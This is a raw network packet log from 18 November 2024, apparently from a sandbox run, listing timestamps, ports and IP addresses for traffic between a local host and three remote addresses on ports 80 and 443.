Nov 18, 2024 21:04:16.351665974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.351730108 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.359867096 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.360045910 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.360610962 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.360646963 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.360655069 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.360665083 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.360670090 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.363049030 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.363094091 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.363154888 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.363270044 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.363281012 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.365010977 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.365029097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.365042925 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.365061998 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.365099907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.366869926 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.366887093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.366914034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.366945028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.369656086 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.369672060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.369714022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.371237993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.371253967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.371308088 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.373667002 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.373712063 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.374212980 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.374623060 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.374686003 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.374712944 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.374731064 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.374741077 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.374746084 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.375895023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.375911951 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.375956059 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.378182888 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.378212929 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.378288984 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.378423929 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.378453016 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.378942966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.379004002 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.379319906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.379336119 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.379362106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.379395008 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.380920887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.380937099 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.380958080 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.380986929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.385001898 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.385051012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.386915922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.386931896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.386962891 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.386986017 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.390758991 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.390841007 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.390896082 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.390904903 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.390988111 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.391400099 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.391410112 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.391433954 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.391433954 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.391438961 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.391447067 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.392124891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.392142057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.392206907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.393328905 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.393371105 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.393435955 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.393539906 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.393548965 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.401801109 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.404525042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.410219908 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.410238981 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.410303116 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.411789894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.411806107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.411819935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.411860943 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.411890984 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.415005922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.415024042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.415083885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.416722059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.417517900 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.418982983 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.419125080 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.419440985 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.419454098 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.421868086 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.421931982 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.421938896 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.423883915 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.423927069 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.423930883 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.423938990 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.423974037 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.438960075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.439001083 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.439112902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.440459013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.440489054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.440520048 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.440558910 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.445358038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.445430994 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.446166992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.446182013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.446213007 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.446244001 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.448019981 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.448035955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.448065996 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.448100090 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.451278925 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.451296091 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.451328993 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.451359034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.453461885 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.453480005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.454045057 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.455674887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.455691099 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.455703974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.455728054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.455755949 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.457948923 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.457964897 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.457993984 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.458025932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.460393906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.460408926 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.460442066 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.460472107 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.462630987 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.462655067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.462686062 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.462714911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.465044022 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.465059996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.465073109 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.465096951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.465126991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.465126991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.467284918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.467308044 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.467328072 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.467355967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.469696045 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.469712019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.469749928 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.471973896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.472001076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.472028971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.472057104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.474294901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.474311113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.474353075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.479943037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.479959965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.479994059 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.480022907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.480820894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.480837107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.480850935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.480860949 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.480890036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.483656883 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.483673096 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.483704090 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.483731031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.484978914 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.484988928 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.485919952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.485935926 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.485965014 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.485996962 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.487812042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.487827063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.487859964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.487890005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.490694046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.490716934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.490772009 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.494492054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.494508028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.494532108 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.494549036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.494568110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.494602919 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.496370077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.496417046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.499586105 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.499602079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.499628067 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.499653101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.501184940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.501353025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.505279064 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.505361080 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.507904053 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.507951021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.511842012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.511858940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.511908054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.513799906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.513817072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.513859034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.516263008 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.516278982 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.516293049 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.516304970 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.516345978 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.518050909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.518076897 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.518100977 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.518130064 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.520685911 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.520703077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.520716906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.520751953 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.520783901 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.522794962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.522810936 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.522845030 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.522866964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.526679993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.526726961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.529197931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.529213905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.529249907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.529267073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.531349897 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.531932116 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.531948090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.531991959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.534219027 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.534235954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.534275055 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.534303904 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.535875082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.535892010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.535907030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.535929918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.535943985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.537859917 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.537883997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.537909031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.537940025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.540754080 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.543428898 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.543446064 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.543488979 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.543504000 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.570445061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.570571899 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.570693016 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.572469950 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.572485924 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.573437929 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.573456049 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.573517084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.590595961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.590730906 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.590816021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.590873957 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.590900898 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.590918064 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.592139959 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.592158079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.592227936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.603616953 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.603635073 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.603642941 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:16.603648901 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:16.611752033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.611768961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.611808062 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.611843109 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.613120079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.613137007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.613168955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.613198042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.627800941 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.627819061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.627834082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.627868891 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.627887011 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.638663054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.638678074 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.638706923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.638722897 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.639957905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.639975071 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.640012980 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.640029907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.646444082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.646460056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.646491051 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.646516085 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.647420883 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.647437096 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.647470951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.647486925 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.655071020 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.655087948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.655193090 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.656294107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.656311035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.656327963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.656352043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.656383038 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.664736032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.664751053 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.664798975 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.666208982 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.666224957 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.666269064 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.666301966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.672301054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.672317982 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.672359943 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.672373056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.673858881 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.673876047 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.673893929 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.673919916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.673955917 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.681021929 CET	80	49818	185.215.113.16	192.168.2.4
